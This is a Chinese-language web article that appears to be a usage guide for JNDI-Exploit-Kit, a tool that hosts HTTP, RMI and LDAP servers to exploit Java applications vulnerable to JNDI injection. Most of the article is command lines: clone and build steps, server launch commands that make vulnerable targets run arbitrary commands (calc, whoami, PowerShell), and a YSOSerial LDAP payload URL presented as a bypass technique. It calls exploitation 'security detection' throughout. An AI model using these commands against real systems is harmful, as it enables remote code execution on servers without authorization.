当前位置：首页 > news >正文

JNDI安全检测工具使用指南：从快速入门到实战精通

news 2026/6/18 6:06:57

JNDI-Exploit-Kit 是一款专业的Java安全测试工具，专门用于检测和防护JNDI注入风险。无论您是安全测试新手还是资深专家，都能通过本指南快速掌握其核心用法。

【免费下载链接】JNDI-Exploit-KitJNDI-Exploitation-Kit（A modified version of the great JNDI-Injection-Exploit created by @welk1n. This tool can be used to start an HTTP Server, RMI Server and LDAP Server to exploit java web apps vulnerable to JNDI Injection）项目地址: https://gitcode.com/gh_mirrors/jn/JNDI-Exploit-Kit

5分钟快速上手体验

想要立即体验JNDI安全检测的功能？我们首先从最简单的示例开始：

# 下载项目代码 git clone https://gitcode.com/gh_mirrors/jn/JNDI-Exploit-Kit # 进入项目目录 cd JNDI-Exploit-Kit # 构建项目 mvn clean package # 启动安全检测服务 java -jar target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -J 127.0.0.1:8180 -R 127.0.0.1:1099 -L 127.0.0.1:1389

执行上述命令后，您将看到工具自动生成了多个JNDI链接，这些链接适配不同的JDK版本。图中展示了完整的服务器启动状态和生成的检测链接。

核心功能深度解析

一键启动多协议服务

JNDI-Exploit-Kit 的强大之处在于能够同时启动三种服务：

HTTP服务（端口8180）：托管检测类文件
RMI服务（端口1099）：提供RMI协议支持
LDAP服务（端口1389）：提供LDAP协议支持

# 完整参数示例 java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar \ -C "whoami" \ # 要执行的系统检测命令 -J 192.168.1.100:8180 \ # HTTP服务器地址 -R 192.168.1.100:1099 \ # RMI服务器地址 -L 192.168.1.100:1389 \ # LDAP服务器地址 -A 192.168.1.100 # 服务器绑定地址

动态命令执行与实时监控

当目标系统通过JNDI链接访问您的服务器时，工具会自动记录整个检测流程。上图展示了从JNDI查询到检测类加载的完整过程。

高级检测技巧与绕过策略

对于更复杂的环境，JNDI-Exploit-Kit 提供了多种高级功能：

序列化检测集成

# 使用YSOSerial payload进行复杂检测 ldap://127.0.0.1:1389/serial/CommonsCollections1/exec_global/[base64编码命令]

YSOSerial 是业界知名的Java反序列化风险检测工具，JNDI-Exploit-Kit 与其深度集成，支持多种Payload类型。

实战场景配置指南

基础风险检测配置

对于初次接触JNDI注入风险的用户，建议从以下配置开始：

# 最简单的测试配置 java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C "calc" -J 127.0.0.1:8180

企业级安全检测配置

在企业环境中进行安全检测时，需要更复杂的配置：

# 企业环境完整配置 java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar \ -C "powershell -c 'whoami'" \ # Windows系统检测命令 -J 10.0.0.100:8180 \ # 内网HTTP地址 -R 10.0.0.100:1099 \ # 内网RMI地址 -L 10.0.0.100:1389 # 内网LDAP地址

针对不同JDK版本和Web框架，JNDI-Exploit-Kit 提供了针对性的检测策略。